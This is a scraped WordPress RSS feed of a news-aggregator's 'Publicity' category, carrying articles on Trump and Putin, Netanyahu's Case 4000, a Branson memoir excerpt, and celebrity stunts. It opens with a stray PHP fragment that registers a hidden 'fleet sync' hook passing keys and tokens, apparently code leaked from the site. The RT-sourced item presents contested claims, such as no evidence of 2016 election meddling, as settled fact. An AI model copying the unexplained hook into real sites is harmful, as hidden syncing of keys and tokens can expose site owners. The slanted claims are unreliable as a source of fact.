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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Publicity – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Fri, 30 Nov 2018 03:16:52 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Publicity – Brief News https://briefnews.eu 32 32 Bad publicity? Cohen? Russiagate? Many reasons Trump canceled Putin meeting, but Ukraine isn’t one https://briefnews.eu/bad-publicity-cohen-russiagate-many-reasons-trump-canceled-putin-meeting-but-ukraine-isnt-one/ https://briefnews.eu/bad-publicity-cohen-russiagate-many-reasons-trump-canceled-putin-meeting-but-ukraine-isnt-one/#respond Fri, 30 Nov 2018 03:16:52 +0000 http://briefnews.eu/bad-publicity-cohen-russiagate-many-reasons-trump-canceled-putin-meeting-but-ukraine-isnt-one/ US President Donald Trump cited the recent incident in the Kerch Strait when canceling the meeting with Russian counterpart Vladimir Putin. Experts who spoke with RT doubt that this is the real reason behind the last-minute move.

Officially, Trump called off the meeting because “the ships and sailors have not been returned to Ukraine from Russia,” he tweeted on Thursday, referring to the three vessels seized by the Russian coast guard while attempting to pass from the Black Sea to the Sea of Azov through Russian waters.

“I think if it was the reason for the meeting being canceled it was a bad reason,” Dan Kovalik, professor of human rights at the University of Pittsburgh School of Law, told RT. “No matter how one views the Kerch strait situation and who was at fault there, I think it’s the very time to have a meeting between the US and Russia to try and sort that incident out, to try to deal again with all the tensions that are happening anywhere in Europe between Russia and NATO.”




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How Trump was finally tripped by sabotage of every meeting with Putin



Kovalik also argued that Trump might be feeling pressured not to look like he’s “colluding” with Putin – a charge leveled by his Democrat critics even before he defeated Hillary Clinton in the 2016 US presidential election, and used since to challenge the legitimacy of his presidency.

“It is certainly to avoid bad publicity. As you’ve noted, last time he met with Putin somehow he was seen as a traitor. That’s how crazy things have gotten in this country,” he told RT.

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US media reacted with outrage to the Trump-Putin meeting in Helsinki, Finland, in July, with more than one outlet and talking head calling his remarks at a press conference there “treasonous.” That’s because Trump did not bring up Russian “meddling” in the 2016 election, which has become an article of faith in the US despite no actual evidence of it ever being produced.

Former US diplomat Jim Jatras says the cancellation is “a terrible development.”

“I think it’s more than a headline diversion,” he told RT, saying that it might be more related to the appearance of Trump’s former lawyer Michael Cohen in federal court and his guilty plea about discussing plans for a Trump Tower in Moscow that “all the anti-Trump people are chattering about today.”

“I think that’s the atmospheric reason why he feels he needs to cancel this meeting,” Jatras said.

Instead of being a statesman and starting a conversation with the leaders of Russia, India and China at the summit to resolve tensions from the Black Sea to the South China Sea, Trump is being dragged down by “these petty little political problems domestically here that are designed simply to undermine Trump’s presidency – and I’m sorry to say, he’s dancing like a monkey on a string,” Jatras said.

“I think he is afraid,” the former diplomat added.

Journalist Neil Clark thinks the only surprise about the cancellation is that anybody is surprised by it.

“I think that Trump in many ways was damned if he did and damned if he didn’t,” Clark told RT, noting that Democrats who called for him to cancel the meeting are now saying he should still meet with Putin, if only to criticize him over Russia’s alleged misconduct. If Trump had gone ahead with the meeting, he would’ve been accused of “appeasing Russian aggression” just like after Helsinki, Clark said.




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There is a general atmosphere in Washington, the “mood music” pushing Trump to take a hard line towards Russia, and he is going along with it, Clark explained. He was also skeptical that the current US-Russia tensions could have been resolved in an hour-long meeting.

“There are forces at play here,” Clark told RT. “We’ve got the military-industrial complex, we’ve got the neocon think tanks, we’ve got the US energy industry, which is very keen to push Russia out of the European energy market.”

He also said he could see how Ukraine could have staged the Kerch Strait incident in order to sabotage the meeting, fearing that Trump and Putin might actually get along and eliminate some tensions between Washington and Moscow.

“There’s a lot of people out there who don’t want that to happen,” Clark said. “They really don’t want Russia and the US to have better relations

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]]> https://briefnews.eu/bad-publicity-cohen-russiagate-many-reasons-trump-canceled-putin-meeting-but-ukraine-isnt-one/feed/ 0 Recommended Reading: Mid-Terms, Morose Pop, and Publicity Stunts https://briefnews.eu/recommended-reading-mid-terms-morose-pop-and-publicity-stunts/ https://briefnews.eu/recommended-reading-mid-terms-morose-pop-and-publicity-stunts/#respond Fri, 09 Nov 2018 20:09:00 +0000 http://briefnews.eu/recommended-reading-mid-terms-morose-pop-and-publicity-stunts/ Modern online media is all about the signal boost, so every Friday here at Flavorwire, we take a moment to spotlight some of the best stuff we’ve read online this week. Today, smart takes on Tuesday’s mid-term elections, a round-up of old-school movie hucksterism, and a investigation of what happened to pop-y pop music. 

Kristin Hunt on classic Hollywood publicity stunts.

Movie marketing has become quite the color-inside-the-lines endeavor: teaser, trailer, TV spots, print ads, “viral videos.” It’s effective, predictable, and boring. At Vulture, Hunt casts an eye back at the good ol’ days of ballyhoo, in which publicity men hailed not from Wharton but the midway, and sold their pictures accordingly:

In this ’50s thriller, Joseph Stalin never died. It was all just a ruse to give the Russian dictator cover to flee to a secret hideaway, with a brand new face from a plastic surgeon. But before making his escape, Stalin punishes a young prisoner by shaving off all her hair. This scene serves as the opening to The Girl in the Kremlin, which Universal promoted by shaving heads on the street. At San Francisco’s Golden Gate Theater, a 24-year-old housewife and mother named Patricia Smith hopped in a barber chair for a dramatic haircut. Universal gave her $ 300 for letting them shave her head as the cameras rolled — and a wig to wear until her hair grew back.

Jayson Greene on morose pop.

“Aren’t pop songs generally meant to lift us up?” asks Pitchfork’s Greene, noting that the current Billboard charts are dominated by music that “sounds submerged, cloudy, groggy, pained, dour,” full of lyrics concerned with misery and despair. “How and when did things turn so morose?” he asks.

The armchair-cultural-anthropologist answer is the easiest one: Everything is garbage! Who wants to celebrate when the world is crumbling? It’s a seductive explanation. After all, many of us are currently grappling with the reality that the Earth will probably be partially drowned within the next four or five presidential administrations (assuming presidential administrations keep happening). Despite whatever famed optimist and Harvard cognitive scientist Steven Pinker might be peddling, most of us, no matter our politics, are united by the overwhelming sensation that Things Really Aren’t Going Great. As citizens, we are more pessimistic, more distrustful, more anxious. We are angrier. We are more fearful.

In this sense, the pop charts are just mirroring back our internal climate. Wouldn’t it make sense that we wouldn’t be clamoring for FUN! to run around screaming in our faces? When confronted with terms like “climate genocide,” who really wants to party like it’s their last night on Earth?

The Onion does Election Day.

One reason for our perpetual moroseness: our politics! We had a big mid-term election on Tuesday (hope this isn’t news to you) and, as usual, The Onion was right on their game; this particular “news in brief” item has held up all week, what with the extended battle for the Georgia governorship and reports of voting irregularities across the state:

LAWRENCEVILLE, GA—Insisting that the machine was operating exactly as intended, Georgia election worker Mitchell Hamlin reportedly assured a black man on Tuesday that the ballot scanner was supposed to sound like a shredder. “Don’t you worry, it’s designed to sound like it’s ripping your ballot into thousands of tiny pieces,” the election worker informed the middle-aged African American resident, adding that it was merely a coincidence that several white voters in front of him had been directed to insert their ballots into a different scanner. “You should absolutely be hearing a constant whirring and shredding sound—that’s the machine’s way of telling you that your vote counts. And that bucket below where the ballot scanner is dropping strips of paper? That’s simply the machine producing a receipt so we know it went through to the right place. Congratulations, you definitely voted today.” At press time, Hamlin stated that he could also confirm the man’s registration for the 2020 election if he just handed over his driver’s license.

Jamelle Bouie on why young people don’t vote.

In election after election, we see horrifying statistics of low turnout among the youngest of eligible voters. They’re usually shamed for it, and to some extent, that’s appropriate. But over at Slate, Bouie digs deeper, examining how much of the inherent qualities of life for millennials translate into difficulty participating in a system that doesn’t seem all that interested in including them:

With each account, we have a different example of how our voting system doesn’t actually encourage voting, especially among people whose lives are a defined by a certain amount of instability and unpredictability. Look beyond young adults to the larger population of nonvoters and you see a significant group whose lives are marked by traits associated with a lack of stability. They are less likely to have college degrees, more likely to have family incomes below $ 30,000, and more likely to belong to racial and ethnic minorities, making them more likely to experience conditions associated with instability.

Our system has adopted universal suffrage, which points toward open and easy access to the ballot, but our heritage in political exclusivity—where voting was once a privilege reserved for property-owning white men—continues to influence our handling of elections. Voter identification laws are tied to a sordid history of discrimination and vote suppression, but even procedures as uncontroversial as voter registration contain assumptions about who should participate. (Indeed, voter registration was first developed as a method to keep recent immigrants and the poor from the ballot box in Northern cities and was used similarly against black Americans in the Jim Crow South.) Our voting system is tilted toward people with stable, conventional lives. And that, overwhelmingly, is who participates, producing a conservative bias in the status quo.

                

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]]> https://briefnews.eu/recommended-reading-mid-terms-morose-pop-and-publicity-stunts/feed/ 0 Netanyahu named in new bribery case: $286mn for good publicity https://briefnews.eu/netanyahu-named-in-new-bribery-case-286mn-for-good-publicity/ https://briefnews.eu/netanyahu-named-in-new-bribery-case-286mn-for-good-publicity/#respond Wed, 28 Feb 2018 09:45:32 +0000 http://briefnews.eu/netanyahu-named-in-new-bribery-case-286mn-for-good-publicity/ Israeli MP Benjamin Netanyahu, already under investigation for two instances of corruption, may complete a hat-trick. A state prosecutor has named Netanyahu as the beneficiary of a PR scheme worth “up to a billion shekels.”

Earlier this month, police recommended Netanyahu be indicted for allegations of bribery, fraud and breach of trust. These are being addressed in two separate investigations, known as Case 1000 and Case 2000.

However, the Israeli leader now risks being dragged into another scandal-ridden investigation – Case 4000 – that revolves around his former media adviser striking a deal with communications giant Bezeq for positive coverage in return for business favors. Alongside his ongoing tenure as Prime Minister, Netanyahu also served as the country’s communications minister from 2014 to 2017. As such he directly benefited from the alleged deal, state prosecutor Yehudit Tirosh said in a hearing on Tuesday.

“I have no way of properly describing the benefit [he received]. We are talking about enlisting a leading news site to provide adulating coverage in return for regulatory benefits given by the Communications Ministry, the minister of communications and the director-general of the Communications Ministry,” Tirosh said.

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Both the majority shareholder of Bezeq, Shaul Elovitch, and a disgraced former media adviser to Netanyahu, Nir Hefetz, are being held in custody. As Elovitch and Hefetz appealed their detention on Tuesday, state prosecution argued that if they are released they might conspire to derail the investigation.

Insisting that the two must be kept behind bars, the state prosecutor, as cited by the Times of Israel, said that “there is a real suspicion that if the suspects are released today, hugely important investigative work that needs to be carried out in the coming days will be thwarted.”

She was possibly referring to the upcoming questioning of Netanyahu, who is set to testify before the court on Friday. There have been concerns the alleged co-conspirators might seek to coordinate their actions with Netanyahu if their request is granted.

An alleged agreement between Bezeq and Netanyahu’s media adviser at the time focused on Israeli website Walla’s coverage of Netanyahu and his family. The website, which is owned by Bezeq, appeared to change its take on Netanyahu, portraying him in a more positive light during the time he was communications minister. For his services, Elovitch reportedly was given over 1 billion shekels ($ 286 million) in bribes and business favors, including helping him to circumvent antitrust regulations. Several other suspects, among them the telecom mogul’s family members and staff, have been placed under house arrest.

Over the weekend, the investigation itself became a source of controversy after messages leaked to the Israeli media between the presiding judge and one of the investigators, hinting at possible coordination. Although the texts, released on Sunday, referred mostly to logistics issues and not the essence of the case, the judge and the investigator were both removed from the investigation. The court on Tuesday refused to consider it as a legitimate reason for releasing Elovitch and Hefetz, with the state prosecutor arguing that the incident had not damaged the judicial process and that the detention of the suspects was in line with the proceedings.

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Netanyahu spoke defiantly in the face of the accusations against him that seem to have piled up in recent months. On Monday, the PM issued a statement defending his decision as communications minister to let Bezeq buy a satellite cable provider, which some viewed as a breach of anti-trust laws. Arguing that all the decisions concerning the telecommunications giant were made by him in a “professional manner” and involved no conflict of interest, Netanyahu slammed the investigation as a “scandal” and a “witch hunt that has been going on for years.”

“Every day the numbers are rising. At first they were talking about tens of millions, then hundreds of millions. Today is one billion, and tomorrow one trillion. But the truth will win, and the hot air will blow out of this balloon – because there was nothing,” he said. 

Netanyahu also denies any wrongdoing in cases 1000 and 2000. The first alleges that the Israeli leader and his wife received luxury gifts from two billionaire acquaintances in exchange for favors. The second revolves around suspicions Netanyahu had struck a quid pro quo deal with a top-selling newspaper.

Israelis, who have been rallying against “Crime Minister” Netanyahu on the streets every Saturday since December 2016, appear to believe the police over the PM, according to a recent poll by Reshet TV which found than only a quarter side with Netanyahu and almost half with the police.

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  • In the following excerpt from “Finding My Virginity,” Richard Branson recounts his experience during one of Virgin Mobile’s publicity stunts.
  • In 2000, he was tied to a helicopter by bungee cord and flew 100 feet below it across the Sydney Harbor.
  • Mid-flight, he realized he was headed straight toward the side of the bridge.
  • Just when he thought he would smack into it and die, the helicopter lifted him up at the last second.


Sometimes the publicity stunts we pull can take even me by surprise. That was the case with the launch of Virgin Mobile in Australia.

By November 2000, Virgin Mobile UK had more than 500,000 customers and scooped Mobile Choice’s Network of the Year award (not bad, since we didn’t actually have a network!). As the Aussie public had embraced our airline so quickly, it made sense to strike while the iron was hot and launch a second mobile company down under.

As in Britain, we found an established company, Optus, and agreed on a partnership using their network infrastructure and Virgin’s branding and customer experience. And, as with the launch of Virgin Mobile in the UK, we wanted an event to get people talking.

The first inkling I got that something unusual was going on was when I was picked up from my hotel, the Holiday Inn in Potts Point, Sydney. I got into a car with chief marketing officer Jean Oelwang, Peter Beikmanis and Catherine Salway for a briefing. I presumed we would be driving to the harbor, but instead we started heading out of the city and into the countryside.

“I thought we were going to do the launch next to Sydney Harbor,” I said.

“Erm, yes, we are,” said Jean, a little too nervously.

As the others in the car exchanged sideways looks, I could tell something was up. The next thing I knew we had arrived in an empty field. It seemed an unusual and unpopulated venue for a business launch. Then I heard the whupp-whupp-whupp of helicopter blades. That made more sense. I stood back in the full force of the wind as the helicopter landed next to the car.

“I think I get the picture.” I was about to climb into the helicopter when Jean pulled me to one side.

“Richard, we probably should have told you this earlier.”

Jean stood back as one of the helicopter crew put a harness on me. “You’re not actually going in the helicopter. You’re going to fly a hundred feet under it.”

That was a new one! I could feel my heart beginning to thump, but nothing ventured and all that. The helicopter crew told me to lie flat on the ground. As I lay down in the soft warmth of the grass, I could feel a bungee rope being attached to my waist.

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“Keep still,” I was told. “Keep your head down.” As I lay there I could hear the blades whirr into action. I was just wondering what Joan would make of my current predicament when, with a jerk, I was lifted off the ground.

As I went up I spun around and around uncontrollably fast. I tried to get myself into a skydiving position—arms and legs spread-eagled. My face had a fixed expression somewhere between bemusement and, I suspect, terror. Probably closer to terror, thinking about it.

Finally, I got the hang of it, and now we were really moving. I was flying forward through the air, 100 feet below the helicopter at a rapid rate.

Over the years, I have often had dreams where I am flapping my arms and flying. Sometimes I soar around Necker, smelling the ocean air.

Other times I fly up into space, looking down at the pale blue dot of Earth.

Usually, however, I am looking down along Oxford Street, where our first Virgin Records store was, knowing that if I stopped I would crash. I swoop down, knock somebody’s hat off and zoom back upward. Occasionally I wake up falling.

This was as close as I’d get to my dreams in reality. I’ve never had a more exhilarating experience in my life. I worked out that if I dropped my arm on either side I could even control my direction—to a certain extent. As we approached the city I began to enjoy myself, waving to confused-looking people far below, and feeling more like Peter Pan than ever before. This is what being a bird must feel like, I thought to myself.

The next thing I knew, the imposing structure of Sydney Harbor Bridge was approaching fast in front of me. I tried dropping my arms as I’d just taught myself, but it wasn’t going to be enough. I tried shouting to the helicopter pilot to climb higher, but that was just as futile: there was no way he could hear me.

“Higher! Higher!” I shouted.

I’m going to hit the bridge. I was sure of it. What a way to go, I thought, zooming across the sky in a harness before, SPLAT! A face-first collision with one of Australia’s most iconic constructions, like Wile E. Coyote in a Loony Tunes cartoon.

At what felt like the last possible second, the helicopter veered upward and I narrowly avoided becoming a permanent addition to the side of the bridge. I barely had time to catch my breath as we zipped across it, low enough for me to see the astonished expressions of the bridge walkers looking up.

Finally, we landed on top of a giant cage structure next to Sydney Opera House. I was bursting with adrenaline, pumped up after everything I’d just been through. Inside the cage people were dressed in the colors of all of our rivals—there were lots in Australia’s highly competitive mobile market. They were wearing handcuffs to signify the long contracts they were locked into by the likes of Vodafone and Telstra, and singing, “Set us free! Set us free!” I set off some explosive bolts, the cage collapsed and the “customers” were freed.

“I thought I was a goner for a minute there,” I told Jean afterward.

“I’m very glad you weren’t,” she said reassuringly. “We hadn’t managed to get you insured!”

Excerpted from FINDING MY VIRGINITY: The New Autobiography by Richard Branson, now on sale from Portfolio, an imprint of Penguin Publishing Group, a division of Penguin Random House, LLC. Copyright © 2017 by Richard Branson.

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The action was intended to put pressure on Trump, and other world leaders attending the UN General Assembly in New York City this week to admit more refugees, the charity said.

“Oxfam hosted refugees at President Trump’s childhood home to declare that all people, refugees included, have the right to a safe place to call home,” Shannon Scribner, the organization’s acting director for humanitarian programs, said in a press release.

The charity rented the house through Airbnb for the cost of $ 725 per night, and made it available to refugees from Somalia, Syria and Vietnam who were resettled in the US.

A video released by Oxfam shows the house filled with Trump memorabilia, including photos and figurines. The Trumps had moved out of the house when the future president was 4.

“To me the American dream is having a safe and stable home, and being able to accomplish your goals and having those opportunities,” Eiman, a Somali refugee settled in North Carolina, says in the video. “And now it’s starting to feel threatened.”

Oxfam’s publicity stunt comes as the temporary travel ban on residents of six mainly Muslim countries – including Syria and Somalia – and refugees is set to expire on Sunday.

Although several federal courts have sought to stay the ban, the US Supreme Court allowed it to partially enter into effect until the nine justices can make an official ruling in the case.

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The Trump administration has said the ban is critical to national security.

The Department of Homeland Security has completed a preliminary review of security procedures for travelers and refugees, and is expected to announce them on Friday.

Last week, Trump indicated his desire to implement an even stricter ban, following a bomb explosion in London’s subway system on September 15.

“The travel ban into the United States should be far larger, tougher and more specific – but stupidly, that would not be politically correct!” Trump wrote on Twitter.

As part of his speech before the UN General Assembly on Tuesday, Trump called for the US to approach refugee resettlement in a way that would allow refugees to return to their home countries and rebuild their lives.

“For the cost of resettling one refugee in the United States, we can assist more than 10 in their home region,” the US president said.

In his original executive order, issued a week after he took office in January, Trump barred people from Iraq, Iran, Syria, Yemen, Libya, Sudan and Somalia from entering the US for 90 days, halted refugee resettlement for 120 days, and indefinitely suspended the resettlement of Syrian refugees. The policy sparked nationwide protests.

Bowing to pushback from the courts, Trump issued a new order in March that modified the ban and dropped Iraq from the exclusion list.

In July, the United States hit the cap set by the White House of 50,000 refugees allowed into the country for the fiscal year 2017. That figure is 41 percent lower than the 85,000 cap set during Barack Obama’s final year in office.

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]]> https://briefnews.eu/charity-rents-out-trumps-childhood-home-to-refugees-in-publicity-stunt/feed/ 0 Peter Kay speaks out after scrapping Car Share: 'People thought it was a publicity plan' https://briefnews.eu/peter-kay-speaks-out-after-scrapping-car-share-people-thought-it-was-a-publicity-plan/ https://briefnews.eu/peter-kay-speaks-out-after-scrapping-car-share-people-thought-it-was-a-publicity-plan/#respond Wed, 03 May 2017 18:31:41 +0000 http://briefnews.eu/peter-kay-speaks-out-after-scrapping-car-share-people-thought-it-was-a-publicity-plan/

The Bolton-born comedian revealed the shock decision on BBC Radio Manchester yesterday after ringing up spontaneously for a chat.

And today, Peter rang the same station again and told presenter Becky Want that he had not anticipated the overwhelming reaction from viewers demanding more series.

“I am sorry I have upset people,” he said. “Sian [Gibson] put her phone on and had about 50 messages. She said, ‘What have you said, my phone’s gone mental?’

“I just mentioned that that we weren’t doing another one. That’s just the truth. I didn’t mean to upset anybody. I didn’t think there would be petitions.”

He continued: “I am sorry I have upset people. There were a lot of funny things in last night’s episode. People are forgetting things like us hanging out of a front room window. They are just concentrating on the ending.”

The 43-year-old also admitted he had not intended to announce the show’s ending when he rang in the day before.

He explained: “I think people thought it was a publicity stunt but what happened was I heard you were doing a Car Share playlist with the lovely tribute, so I thought it would be quite nice because I can basically see where you are from the roof of my house and I thought it would be lovely to give you a call and thank you.

“I never intended to talk about Car Share. You asked me about series three and I said I didn’t think there was going to be another, which there isn’t going to be, or a Christmas special. But I think people thought it was some kind of publicity plan.”

The conclusion left viewers begging for more as John (played by Peter) failed to communicate his feelings for Kayleigh (Sian Gibson), who stormed off out of the car.

Peter said the final scene, in which John is heard saying “I’m done” to his nan on the phone had been difficult to shoot.

He added: “I get a bit teary as well… it was hard to film. We did three takes and we only used the first one. It was quite sad when she got out, a bit strange.”

Peter Kay’s Car Share is available to view on BBC iPlayer.

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]]> https://briefnews.eu/peter-kay-speaks-out-after-scrapping-car-share-people-thought-it-was-a-publicity-plan/feed/ 0 Sutton United's Wayne Shaw resigns after pie eating publicity stunt during Arsenal clash https://briefnews.eu/sutton-uniteds-wayne-shaw-resigns-after-pie-eating-publicity-stunt-during-arsenal-clash/ https://briefnews.eu/sutton-uniteds-wayne-shaw-resigns-after-pie-eating-publicity-stunt-during-arsenal-clash/#respond Tue, 21 Feb 2017 18:11:05 +0000 http://briefnews.eu/sutton-uniteds-wayne-shaw-resigns-after-pie-eating-publicity-stunt-during-arsenal-clash/

Shaw was shown on TV eating a pie, which he has since claimed was a pasty, after a bet had been promoted by the club’s one off sponsors the Sun via their Sun Bets brand.

Sun Bets tweeted after the game that they had paid out a “five-figure sum” on a bet that 46-year-old Shaw would be shown eating a pie.

The club’s back up goalkeeper has come in for criticism and is being investigated by the government’s Gambling Commission and the Football Association following the incident.

And today manager Paul Doswell has confirmed that he had resigned from his role at the club.

“Wayne has offered his resignation to the chairman this afternoon and that has been accepted. It’s a very sad end to what was a very good story,” Doswell told Sky News.

Sutton lost the game 2-0 after goals from Lucas Perez and Theo Walcott and Arsenal will face Lincoln in the next round.

Sutton had previously beaten AFC Wimbledon and Leeds to reach this stage and the cameras flocked to Gander Green Lane last night to see the Premier League side face their non-league opponents.

But Shaw’s incident has left a sour taste and will be investigated further.

The goalkeeper, who also worked as a coach for the club, said after the game he “would give them a bit of banter”.

Doswell confirmed both investigating bodies had been in touch with the club and said Shaw had made a “very genuine mistake” after being a big part of the media build-up to the cup-tie.

“Of course we’ve been contacted by the FA, the betting commission, and it’s been a very sobering morning,” Doswell added.

“At the moment it’s early days and it’s by way of e-mails and other bits and pieces but unfortunately it’s worldwide news this morning

“It’s taken the gloss off my players’ performance and gone on to something it shouldn’t have gone on to. I feel very sorry for the players in many regards that that spotlight has been taken away from them.

“It was an honest error but one that’s had quite sad ramifications. Wayne’s been swept along with what’s happened in this last three or four weeks.

“Since the camera got him in the Leeds United game he’s gone into another world in terms of what he’s used to.

“I think he’s been ill-advised at times and he’s just made a very genuine mistake. If you knew him, he’s such a lovely, lovely man. His judgement wasn’t great last night and he’s obviously paid the price for that.”

Gambling Commission enforcement and intelligence director Richard Watson said: “Integrity in sport is not a joke and we have opened an investigation to establish exactly what happened.

“As part of that we’ll be looking into any irregularity in the betting market and establishing whether the operator has met its licence requirement to conduct its business with integrity.” 

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]]> https://briefnews.eu/sutton-uniteds-wayne-shaw-resigns-after-pie-eating-publicity-stunt-during-arsenal-clash/feed/ 0 A Publicity Stunt at the National Prayer Breakfast? https://briefnews.eu/a-publicity-stunt-at-the-national-prayer-breakfast/ https://briefnews.eu/a-publicity-stunt-at-the-national-prayer-breakfast/#respond Thu, 02 Feb 2017 22:34:27 +0000 http://briefnews.eu/a-publicity-stunt-at-the-national-prayer-breakfast/ The National Prayer Breakfast, held annually in Washington, D.C., is typically a scandal-free part of the president’s schedule. Since 1953, every commander-in-chief, usually alongside members of Congress, Cabinet officials, and a wide variety of prominent guests, has taken one morning a year to address the gathering, which the Christian organization The Fellowship hosts as an annual acknowledgement of the role of faith in American public life. The most notable story to arise out of the event in recent years was when Ben Carson, in a speech at the 2013 event, railed against “moral decay and fiscal irresponsibility” under the Obama administration, a moment that many say jump-started his eventual run for president in 2016.

However, as has previously been the case over the past 18 months, President Donald Trump used a decades-old political tradition to pick a personal fight. In a speech emphasizing the importance of religious liberty, Trump also took time to discuss a personal favorite topic: The Apprentice. As he has noted before, the reality TV show, for which he still serves as an executive producer, has seen its ratings decline under its current host (and the former governor of California), Arnold Schwarzenegger, and new name, The New Celebrity Apprentice. Discussing his relationship with Mark Burnett, the creator of The Apprentice and a keynote speaker at the event, Trump emphasized his own success with the show, adding, “They hired a big, big movie star, Arnold Schwarzenegger, to take my place, and we know how that turned out. The ratings went right down the tubes. It’s been a total disaster, and Mark [Burnett] will never bet against Trump again. And I want to just pray for Arnold, if we can, for those ratings.”

Amid speculation that the whole thing may have been a ratings stunt, Schwarzenegger quickly fired back via Twitter, blasting Trump for making the comment at the National Prayer Breakfast and offering to switch jobs with the president:

A spokesman for Schwarzenegger also responded, saying, “Arnold is praying that President Trump can start improving his own approval ratings, which were the worst in history for an incoming president, by taking his job seriously and working inclusively.”

Setting aside the oddity of Trump’s barb at a traditionally subdued event, Trump’s decision is yet another illustration of his unique status as the country’s first businessman-president. On top of his general tendency toward digression, there is a clear incentive for Trump to attempt to stir up controversy over his relationship with the show. As long as he remains an executive producer, Trump has a financial stake in the program’s ratings: The higher its viewership grows, the longer it stays on air, and the more companies see the value in sponsoring it, the more money Trump can make from it. Schwarzenegger, too, has an obvious investment in the show’s continued success, meaning that, if he can endure an occasional barb from the president, he has plenty of incentive to keep up the appearance of a beef.

Trump’s speech, then, is doubly digressive from presidential precedent. Where previous executives have mostly used the National Prayer Breakfast to discuss religion, Trump instead grabbed headlines with what may very well have been a publicity stunt. And, where presidents typically distance themselves from their previous financial ties to avoid even the appearance of a conflict of interest, Trump’s brazen refusal to do so has already led to an ever-growing number of reports showing how Trump is intermingling his role as president with his business empire. Already, his involvement with The New Celebrity Apprentice has featured into the controversy: In suing Trump for an alleged breach of the Constitution’s Emoluments Clause, the ethics organization Citizens for Responsibility and Ethics in Washington listed the show as a potential violation due to “payments from foreign-government-owned broadcasters related to rebroadcasts and foreign versions.” For Trump to openly tout the show at the National Prayer Breakfast only further cements just how different his demeanor and continued commitment to his businesses make him from his predecessors.


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]]> https://briefnews.eu/a-publicity-stunt-at-the-national-prayer-breakfast/feed/ 0 Saint West: Kim Kardashian’s ‘Offensive’ Publicity Stunt Draws Harsh Criticism https://briefnews.eu/saint-west-kim-kardashians-offensive-publicity-stunt-draws-harsh-criticism/ https://briefnews.eu/saint-west-kim-kardashians-offensive-publicity-stunt-draws-harsh-criticism/#respond Thu, 28 Jul 2016 07:03:04 +0000 http://latestnewsline.com/2016/07/28/saint-west-kim-kardashians-offensive-publicity-stunt-draws-harsh-criticism/ Kim Kardashian Saint West PR Stunt

Kim Kardashian is known for her propensity to do just about anything to attract the limelight; most sources agree that is why she managed to become famous. But her latest publicity stunt, remarks a report by Radar Online, may be a new low, even for her, in terms of desperation.

To be specific, Kim Kardashian is selling the image of her seven month-old son, Saint West, in a last-ditch effort to up the ratings for the floundering Keeping Up with the Kardashians.

An anonymous source with inside knowledge of the Kardashian family’s PR told Radar that showcasing Saint West on KUWTK in order to get better ratings was the idea of Kris Jenner, matron of the Kardashian clan.

“Kim is throwing Saint into the public eye right now because Kris really feels that Saint could help ratings,” the source said.

Kris and the rest of the Kardashian consortium may like the idea, but the public seems to be disgusted with it.

“Sad that a mother would use her children like this,” wrote one commenter on the exclusive piece.

“The whole vile family are using all their little props to try to save their miserable, fake TV show–Big Fail.”

Some even went as far as to say that this is the reason why Kim Kardashian and Kanye West had children in the first place — in order to act as attention magnets.

“Isn’t that why she had them. Future ratings and exploitation?” asked one.

“The kids will realize one day that they were just used for their parents gain,” theorized another.

Luckily, says the anonymous source, the infantile Kardashian spawn is a natural in front of the camera, basking happily in the same public eye to which mommy Kim seems to have become addicted.

“North is so anti-photos and Saint is really the opposite,” the source noted, referring to North West, Kim Kardashian’s other child with West.

“He loves the camera and they are going to use it to their advantage.”

Whether or not you think it is morally questionable for a mother to use any of her seven month-old’s traits “to her advantage,” one has to wonder how the source or anyone else would be able to tell that North was enjoying the camera flashes of the paparazzi that Kim Kardashian invited over. Maybe it is because he is smiling in some of the photographs, but he is also crying in some of them.

The stills, which were taken recently, are some of the few images of Saint West available. While Kim and Kanye have been public with their images of North West for a while now, Saint just stepped (or, perhaps more accurately, was pushed) into the spotlight.

Kim Kardashian also shared a Snapchat video yesterday of Saint flashing a big smile during some family time, reports People, and it is already spreading across the internet like wildfire.

It’s obviously a long way from the X-rated spectacle Kim Kardashian used to put herself on the pop culture grid, but many are wondering if it is too much public exposure for such a young child to have.

Woman’s Day points out that, up until a few days ago, Kim and her husband were very careful in their efforts to minimize the amount of social media exposure young Saint got. Now, though, Kim and the other members of her Kardashian brood seem to have thrown caution to the wind and are looking to profit off his image wherever possible.

Maybe it is to prime the youngest Kardashians for continuing Kim’s legacy of being media moguls once they are old enough — after, all, Kris says she hopes “that her grandkids are all on a hit reality TV show when they are older.” The now 18-year-old Kylie Jenner started on KUWTK when she was 10, but maybe the newest additions to the Kardashian family will begin even earlier.

What do you think about Kim Kardashian thrusting Saint West into the limelight so early? Is it a selfish attention-grab or a good way to ease the child into the family business from a young age?

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